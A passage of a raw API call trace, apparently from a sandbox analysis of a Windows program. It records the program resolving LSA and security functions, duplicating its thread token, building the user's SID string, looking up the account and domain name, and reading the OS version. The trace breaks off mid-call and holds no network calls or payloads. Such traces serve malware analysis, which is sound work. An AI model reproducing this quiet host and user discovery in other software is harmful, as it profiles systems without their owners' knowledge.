0x1 [0072.540] memcpy (in: _Dst=0xebdcf0, _Src=0xebdc70, _Size=0x68 | out: _Dst=0xebdcf0) returned 0xebdcf0 [0072.540] GetCurrentThread () returned 0xfffffffffffffffe [0072.540] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0xebce60 | out: TokenHandle=0xebce60*=0x2d4) returned 1 [0072.540] malloc (_Size=0xd8) returned 0xf3750 [0072.541] LoadLibraryW (lpLibFileName="ADVAPI32.DLL") returned 0x7feffcb0000 [0072.541] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaEnumerateTrustedDomains") returned 0x7feffcf8200 [0072.541] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaQueryInformationPolicy") returned 0x7feffcd20b0 [0072.541] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaNtStatusToWinError") returned 0x7feffcf7e40 [0072.542] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaFreeMemory") returned 0x7feffcbe390 [0072.542] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaOpenPolicy") returned 0x7feffcd0b40 [0072.542] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaClose") returned 0x7feffcd2040 [0072.542] GetProcAddress (hModule=0x7feffcb0000, lpProcName="QueryServiceStatusEx") returned 0x7feffcb7004 [0072.542] GetProcAddress (hModule=0x7feffcb0000, lpProcName="DuplicateTokenEx") returned 0x7feffcbd310 [0072.542] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetSecurityDescriptorControl") returned 0x7feffcd3fe4 [0072.543] GetProcAddress (hModule=0x7feffcb0000, lpProcName="ConvertToAutoInheritPrivateObjectSecurity") returned 0x7feffceb828 [0072.543] GetProcAddress (hModule=0x7feffcb0000, lpProcName="DestroyPrivateObjectSecurity") returned 0x7feffcbf924 [0072.543] GetProcAddress (hModule=0x7feffcb0000, lpProcName="CheckTokenMembership") returned 0x7feffcbd980 [0072.543] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAccessAllowedObjectAce") returned 0x7feffceba94 [0072.543] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAccessDeniedObjectAce") returned 0x7feffceba30 [0072.543] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAuditAccessObjectAce") returned 0x7feffceb9a8 [0072.544] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetNamedSecurityInfoW") returned 0x7feffcb89a0 [0072.544] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetNamedSecurityInfoW") returned 0x7feffcbf990 [0072.544] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetNamedSecurityInfoExW") returned 0x7feffd0dc00 [0072.544] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetExplicitEntriesFromAclW") returned 0x7feffcf56a0 [0072.544] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetEffectiveRightsFromAclW") returned 0x7feffcf56f0 [0072.544] malloc (_Size=0x18) returned 0xef0a0 [0072.544] DuplicateTokenEx (in: hExistingToken=0x2d4, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0xebce68 | out: phNewToken=0xebce68*=0x2e0) returned 1 [0072.545] malloc (_Size=0x48) returned 0xed400 [0072.545] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xebcc38 | out: lpSystemTimeAsFileTime=0xebcc38*(dwLowDateTime=0x5434a720, dwHighDateTime=0x1d9eb0c)) [0072.545] SetEvent (hEvent=0x1f0) returned 1 [0072.546] GetTokenInformation (in: TokenHandle=0x2d4, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xebcd80 | out: TokenInformation=0x0, ReturnLength=0xebcd80) returned 0 [0072.546] GetLastError () returned 0x7a [0072.546] malloc (_Size=0x2c) returned 0xee200 [0072.546] GetTokenInformation (in: TokenHandle=0x2d4, TokenInformationClass=0x1, TokenInformation=0xee200, TokenInformationLength=0x2c, ReturnLength=0xebcd80 | out: TokenInformation=0xee200, ReturnLength=0xebcd80) returned 1 [0072.546] IsValidSid (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0072.546] GetLengthSid (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0072.546] malloc (_Size=0x1c) returned 0xeff30 [0072.546] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0xeff30, pSourceSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0xeff30*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0072.546] GetSidIdentifierAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee212 [0072.546] malloc (_Size=0x18) returned 0xeef60 [0072.546] _ultow (in: _Dest=0x5, _Radix=15453152 | out: _Dest=0x5) returned="5" [0072.546] malloc (_Size=0x18) returned 0xeef20 [0072.546] malloc (_Size=0x18) returned 0xef020 [0072.546] SysStringLen (param_1="S-1-") returned 0x4 [0072.546] SysStringLen (param_1="5") returned 0x1 [0072.546] memcpy (in: _Dst=0x381238, _Src=0x381268, _Size=0xa | out: _Dst=0x381238) returned 0x381238 [0072.546] memcpy (in: _Dst=0x381240, _Src=0x3811a8, _Size=0x4 | out: _Dst=0x381240) returned 0x381240 [0072.547] free (_Block=0xeef60) [0072.547] free (_Block=0xeef20) [0072.547] GetSidSubAuthorityCount (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee211 [0072.547] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0xee218 [0072.547] _ultow (in: _Dest=0x15, _Radix=15453152 | out: _Dest=0x15) returned="21" [0072.547] malloc (_Size=0x18) returned 0xeef20 [0072.547] malloc (_Size=0x18) returned 0xeef60 [0072.547] SysStringLen (param_1="S-1-5") returned 0x5 [0072.547] SysStringLen (param_1="-") returned 0x1 [0072.547] memcpy (in: _Dst=0x3811a8, _Src=0x381238, _Size=0xc | out: _Dst=0x3811a8) returned 0x3811a8 [0072.547] memcpy (in: _Dst=0x3811b2, _Src=0x381268, _Size=0x4 | out: _Dst=0x3811b2) returned 0x3811b2 [0072.547] free (_Block=0xef020) [0072.547] free (_Block=0xeef20) [0072.547] malloc (_Size=0x18) returned 0xeef20 [0072.547] malloc (_Size=0x18) returned 0xef020 [0072.547] SysStringLen (param_1="S-1-5-") returned 0x6 [0072.547] SysStringLen (param_1="21") returned 0x2 [0072.547] memcpy (in: _Dst=0x381268, _Src=0x3811a8, _Size=0xe | out: _Dst=0x381268) returned 0x381268 [0072.547] memcpy (in: _Dst=0x381274, _Src=0x381238, _Size=0x6 | out: _Dst=0x381274) returned 0x381274 [0072.548] free (_Block=0xeef60) [0072.548] free (_Block=0xeef20) [0072.548] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0xee21c [0072.548] _ultow (in: _Dest=0xfb7f942f, _Radix=15453152 | out: _Dest=0xfb7f942f) returned="4219442223" [0072.548] malloc (_Size=0x18) returned 0xeef20 [0072.548] malloc (_Size=0x18) returned 0xeef60 [0072.548] SysStringLen (param_1="S-1-5-21") returned 0x8 [0072.548] SysStringLen (param_1="-") returned 0x1 [0072.548] memcpy (in: _Dst=0x381238, _Src=0x381268, _Size=0x12 | out: _Dst=0x381238) returned 0x381238 [0072.548] memcpy (in: _Dst=0x381248, _Src=0x3811a8, _Size=0x4 | out: _Dst=0x381248) returned 0x381248 [0072.548] free (_Block=0xef020) [0072.548] free (_Block=0xeef20) [0072.548] malloc (_Size=0x18) returned 0xeef20 [0072.548] malloc (_Size=0x18) returned 0xef020 [0072.548] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0072.548] SysStringLen (param_1="4219442223") returned 0xa [0072.548] memcpy (in: _Dst=0x338318, _Src=0x381238, _Size=0x14 | out: _Dst=0x338318) returned 0x338318 [0072.549] memcpy (in: _Dst=0x33832a, _Src=0x381268, _Size=0x16 | out: _Dst=0x33832a) returned 0x33832a [0072.549] free (_Block=0xeef60) [0072.549] free (_Block=0xeef20) [0072.549] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0xee220 [0072.549] _ultow (in: _Dest=0xfbc24a41, _Radix=15453152 | out: _Dest=0xfbc24a41) returned="4223814209" [0072.549] malloc (_Size=0x18) returned 0xeef20 [0072.549] malloc (_Size=0x18) returned 0xeef60 [0072.549] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0072.549] SysStringLen (param_1="-") returned 0x1 [0072.549] memcpy (in: _Dst=0x337788, _Src=0x338318, _Size=0x28 | out: _Dst=0x337788) returned 0x337788 [0072.549] memcpy (in: _Dst=0x3377ae, _Src=0x381238, _Size=0x4 | out: _Dst=0x3377ae) returned 0x3377ae [0072.549] free (_Block=0xef020) [0072.549] free (_Block=0xeef20) [0072.549] malloc (_Size=0x18) returned 0xeef20 [0072.549] malloc (_Size=0x18) returned 0xef020 [0072.549] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0072.549] SysStringLen (param_1="4223814209") returned 0xa [0072.549] memcpy (in: _Dst=0x34da68, _Src=0x337788, _Size=0x2a | out: _Dst=0x34da68) returned 0x34da68 [0072.549] memcpy (in: _Dst=0x34da90, _Src=0x381238, _Size=0x16 | out: _Dst=0x34da90) returned 0x34da90 [0072.550] free (_Block=0xeef60) [0072.550] free (_Block=0xeef20) [0072.550] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0xee224 [0072.550] _ultow (in: _Dest=0xe49636b4, _Radix=15453152 | out: _Dest=0xe49636b4) returned="3835049652" [0072.550] malloc (_Size=0x18) returned 0xeef20 [0072.550] malloc (_Size=0x18) returned 0xeef60 [0072.550] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0072.550] SysStringLen (param_1="-") returned 0x1 [0072.550] memcpy (in: _Dst=0x34db78, _Src=0x34da68, _Size=0x3e | out: _Dst=0x34db78) returned 0x34db78 [0072.550] memcpy (in: _Dst=0x34dbb4, _Src=0x381238, _Size=0x4 | out: _Dst=0x34dbb4) returned 0x34dbb4 [0072.550] free (_Block=0xef020) [0072.550] free (_Block=0xeef20) [0072.550] malloc (_Size=0x18) returned 0xeef20 [0072.550] malloc (_Size=0x18) returned 0xef020 [0072.550] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0072.550] SysStringLen (param_1="3835049652") returned 0xa [0072.550] memcpy (in: _Dst=0x34da68, _Src=0x34db78, _Size=0x40 | out: _Dst=0x34da68) returned 0x34da68 [0072.550] memcpy (in: _Dst=0x34daa6, _Src=0x381238, _Size=0x16 | out: _Dst=0x34daa6) returned 0x34daa6 [0072.550] free (_Block=0xeef60) [0072.550] free (_Block=0xeef20) [0072.550] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0xee228 [0072.551] _ultow (in: _Dest=0x3e8, _Radix=15453152 | out: _Dest=0x3e8) returned="1000" [0072.551] malloc (_Size=0x18) returned 0xeef20 [0072.551] malloc (_Size=0x18) returned 0xeef60 [0072.551] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0072.551] SysStringLen (param_1="-") returned 0x1 [0072.551] memcpy (in: _Dst=0x34db78, _Src=0x34da68, _Size=0x54 | out: _Dst=0x34db78) returned 0x34db78 [0072.551] memcpy (in: _Dst=0x34dbca, _Src=0x381238, _Size=0x4 | out: _Dst=0x34dbca) returned 0x34dbca [0072.551] free (_Block=0xef020) [0072.551] free (_Block=0xeef20) [0072.551] malloc (_Size=0x18) returned 0xeef20 [0072.551] malloc (_Size=0x18) returned 0xef020 [0072.551] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0072.551] SysStringLen (param_1="1000") returned 0x4 [0072.551] memcpy (in: _Dst=0x34da68, _Src=0x34db78, _Size=0x56 | out: _Dst=0x34da68) returned 0x34da68 [0072.551] memcpy (in: _Dst=0x34dabc, _Src=0x381238, _Size=0xa | out: _Dst=0x34dabc) returned 0x34dabc [0072.551] free (_Block=0xeef60) [0072.551] free (_Block=0xeef20) [0072.551] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0072.551] malloc (_Size=0x5e) returned 0xf0800 [0072.551] free (_Block=0xef020) [0072.551] malloc (_Size=0x18) returned 0xef020 [0072.552] free (_Block=0xf0800) [0072.552] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xebcca4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0 | out: Name=0x0, cchName=0xebcca4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0) returned 0 [0072.553] GetLastError () returned 0x7a [0072.553] malloc (_Size=0x14) returned 0xeef20 [0072.553] malloc (_Size=0x16) returned 0xeef60 [0072.553] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0xeef20, cchName=0xebcca4, ReferencedDomainName=0xeef60, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0 | out: Name="kEecfMwgj", cchName=0xebcca4, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xebcca0, peUse=0xebcdb0) returned 1 [0072.553] malloc (_Size=0x18) returned 0xeef00 [0072.554] malloc (_Size=0x18) returned 0xef040 [0072.554] free (_Block=0xeef20) [0072.554] free (_Block=0xeef60) [0072.554] free (_Block=0xeff30) [0072.554] free (_Block=0xef040) [0072.554] free (_Block=0xeef00) [0072.554] free (_Block=0xef020) [0072.555] free (_Block=0xee200) [0072.555] GetVersionExW (in: lpVersionInformation=0xebcf90*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x9d14, dwMinorVersion=0x32a120, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xebcf90*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0072.555] GetTokenInformation (in: TokenHandle=0x2d4, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xebce18 | out: TokenInformation=0x0, ReturnLength=0xebce18) returned 0 [0072.555] GetLastError () returned 0x7a [0072.555] malloc (_Size=0x2c) returned 0xee240 [0072.555] GetTokenInformation (in: TokenHandle=0x2d4, TokenInformationClass=0x1, TokenInformation=0xee240, TokenInformationLength=0x2c, ReturnLength=0xebce18 | out: TokenInformation=0xee240, ReturnLength=0xebce18) returned 1 [0072.555] IsValidSid (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0072.555] GetLengthSid (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0072.555] malloc (_Size=0x1c) returned 0xeff30 [0072.555] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0xeff30, pSourceSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0xeff30*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0072.555] GetSidIdentifierAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee252 [0072.555] malloc (_Size=0x18) returned 0xef020 [0072.556] _ultow (in: _Dest=0x5, _Radix=15453168 | out: _Dest=0x5) returned="5" [0072.556] malloc (_Size=0x18) returned 0xeef00 [0072.556] malloc (_Size=0x18) returned 0xef040 [0072.556] SysStringLen (param_1="S-1-") returned 0x4 [0072.556] SysStringLen (param_1="5") returned 0x1 [0072.556] memcpy (in: _Dst=0x381268, _Src=0x3811a8, _Size=0xa | out: _Dst=0x381268) returned 0x381268 [0072.556] memcpy (in: _Dst=0x381270, _Src=0x381238, _Size=0x4 | out: _Dst=0x381270) returned 0x381270 [0072.556] free (_Block=0xef020) [0072.556] free (_Block=0xeef00) [0072.556] GetSidSubAuthorityCount (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee251 [0072.556] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0xee258 [0072.556] _ultow (in: _Dest=0x15, _Radix=15453168 | out: _Dest=0x15) returned="21" [0072.556] malloc (_Size=0x18) returned 0xeef00 [0072.556] malloc (_Size=0x18) returned 0xef020 [0072.556] SysStringLen (param_1="S-1-5") returned 0x5 [0072.556] SysStringLen (param_1="-") returned 0x1 [0072.556] memcpy (in: _Dst=0x381238, _Src=0x381268, _Size=0xc | out: _Dst=0x381238) returned 0x381238 [0072.556] memcpy (in: _Dst=0x381242, _Src=0x3811a8, _Size=0x4 | out: _Dst=0x381242) returned 0x381242 [0072.556] free (_Block=0xef040) [0072.556] free (_Block=0xeef00) [0072.556] malloc (_Size=0x18) returned 0xeef00 [0072.556] malloc (_Size=0x18) returned 0xef040 [0072.556] SysStringLen (param_1="S-1-5-") returned 0x6 [0072.556] SysStringLen (param_1="21") returned 0x2 [0072.556] memcpy (in: _Dst=0x3811a8, _Src=0x381238, _Size=0xe | out: _Dst=0x3811a8) returned 0x3811a8 [0072.556] memcpy (in: _Dst=0x3811b4, _Src=0x381268, _Size=0x6 | out: _Dst=0x3811b4) returned 0x3811b4 [0072.557] free (_Block=0xef020) [0072.557] free (_Block=0xeef00) [0072.557] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0xee25c [0072.557] _ultow (in: _Dest=0xfb7f942f, _Radix=15453168 | out: _Dest=0xfb7f942f) returned="4219442223" [0072.557] malloc (_Size=0x18) returned 0xeef00 [0072.557] malloc (_Size=0x18) returned 0xef020 [0072.557] SysStringLen (param_1="S-1-5-21") returned 0x8 [0072.557] SysStringLen (param_1="-") returned 0x1 [0072.557] memcpy (in: _Dst=0x381268, _Src=0x3811a8, _Size=0x12 | out: _Dst=0x381268) returned 0x381268 [0072.557] memcpy (in: _Dst=0x381278, _Src=0x381238, _Size=0x4 | out: _Dst=0x381278) returned 0x381278 [0072.557] free (_Block=0xef040) [0072.557] free (_Block=0xeef00) [0072.557] malloc (_Size=0x18) returned 0xeef00 [0072.557] malloc (_Size=0x18) returned 0xef040 [0072.557] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0072.557] SysStringLen (param_1="4219442223") returned 0xa [0072.557] memcpy (in: _Dst=0x338318, _Src=0x381268, _Size=0x14 | out: _Dst=0x338318) returned 0x338318 [0072.557] memcpy (in: _Dst=0x33832a, _Src=0x3811a8, _Size=0x16 | out: _Dst=0x33832a) returned 0x33832a [0072.557] free (_Block=0xef020) [0072.557] free (_Block=0xeef00) [0072.557] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0xee260 [0072.557] _ultow (in: _Dest=0xfbc24a41, _Radix=15453168 | out: _Dest=0xfbc24a41) returned="4223814209" [0072.557] malloc (_Size=0x18) returned 0xeef00 [0072.558] malloc (_Size=0x18) returned 0xef020 [0072.558] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0072.558] SysStringLen (param_1="-") returned 0x1 [0072.558] memcpy (in: _Dst=0x337788, _Src=0x338318, _Size=0x28 | out: _Dst=0x337788) returned 0x337788 [0072.558] memcpy (in: _Dst=0x3377ae, _Src=0x381268, _Size=0x4 | out: _Dst=0x3377ae) returned 0x3377ae [0072.558] free (_Block=0xef040) [0072.558] free (_Block=0xeef00) [0072.558] malloc (_Size=0x18) returned 0xeef00 [0072.558] malloc (_Size=0x18) returned 0xef040 [0072.558] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0072.558] SysStringLen (param_1="4223814209") returned 0xa [0072.558] memcpy (in: _Dst=0x34db78, _Src=0x337788, _Size=0x2a | out: _Dst=0x34db78) returned 0x34db78 [0072.558] memcpy (in: _Dst=0x34dba0, _Src=0x381268, _Size=0x16 | out: _Dst=0x34dba0) returned 0x34dba0 [0072.558] free (_Block=0xef020) [0072.558] free (_Block=0xeef00) [0072.558] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0xee264 [0072.558] _ultow (in: _Dest=0xe49636b4, _Radix=15453168 | out: _Dest=0xe49636b4) returned="3835049652" [0072.558] malloc (_Size=0x18) returned 0xeef00 [0072.558] malloc (_Size=0x18) returned 0xef020 [0072.558] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0072.558] SysStringLen (param_1="-") returned 0x1 [0072.558] memcpy (in: _Dst=0x34da68, _Src=0x34db78, _Size=0x3e | out: _Dst=0x34da68) returned 0x34da68 [0072.558] memcpy (in: _Dst=0x34daa4, _Src=0x381268, _Size=0x4 | out: _Dst=0x34daa4) returned 0x34daa4 [0072.558] free (_Block=0xef040) [0072.559] free (_Block=0xeef00) [0072.559] malloc (_Size=0x18) returned 0xeef00 [0072.559] malloc (_Size=0x18) returned 0xef040 [0072.559] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0072.559] SysStringLen (param_1="3835049652") returned 0xa [0072.559] memcpy (in: _Dst=0x34db78, _Src=0x34da68, _Size=0x40 | out: _Dst=0x34db78) returned 0x34db78 [0072.559] memcpy (in: _Dst=0x34dbb6, _Src=0x381268, _Size=0x16 | out: _Dst=0x34dbb6) returned 0x34dbb6 [0072.559] free (_Block=0xef020) [0072.559] free (_Block=0xeef00) [0072.559] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0xee268 [0072.559] _ultow (in: _Dest=0x3e8, _Radix=15453168 | out: _Dest=0x3e8) returned="1000" [0072.559] malloc (_Size=0x18) returned 0xeef00 [0072.559] malloc (_Size=0x18) returned 0xef020 [0072.559] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0072.559] SysStringLen (param_1="-") returned 0x1 [0072.559] memcpy (in: _Dst=0x34da68, _Src=0x34db78, _Size=0x54 | out: _Dst=0x34da68) returned 0x34da68 [0072.559] memcpy (in: _Dst=0x34daba, _Src=0x381268, _Size=0x4 | out: _Dst=0x34daba) returned 0x34daba [0072.559] free (_Block=0xef040) [0072.559] free (_Block=0xeef00) [0072.559] malloc (_Size=0x18) returned 0xeef00 [0072.559] malloc (_Size=0x18) returned 0xef040 [0072.559] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0072.559] SysStringLen (param_1="1000") returned 0x4 [0072.559] memcpy (in: _Dst=0x34db78, _Src=0x34da68, _Size=0x56 | out: _Dst=0x34db78) returned 0x34db78 [0072.559] memcpy (in: _Dst=0x34dbcc, _Src=0x381268, _Size=0xa | out: _Dst=0x34dbcc) returned 0x34dbcc [0072.560] free (_Block=0xef020) [0072.560] free (_Block=0xeef00) [0072.560] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0072.560] malloc (_Size=0x5e) returned 0xf0800 [0072.560] free (_Block=0xef040) [0072.560] malloc (_Size=0x18) returned 0xef040 [0072.560] free (_Block=0xf0800) [0072.560] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xebccb4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8 | out: Name=0x0, cchName=0xebccb4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8) returned 0 [0072.561] GetLastError () returned 0x7a [0072.561] malloc (_Size=0x14) returned 0xeef00 [0072.561] malloc (_Size=0x16) returned 0xef020 [0072.561] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, 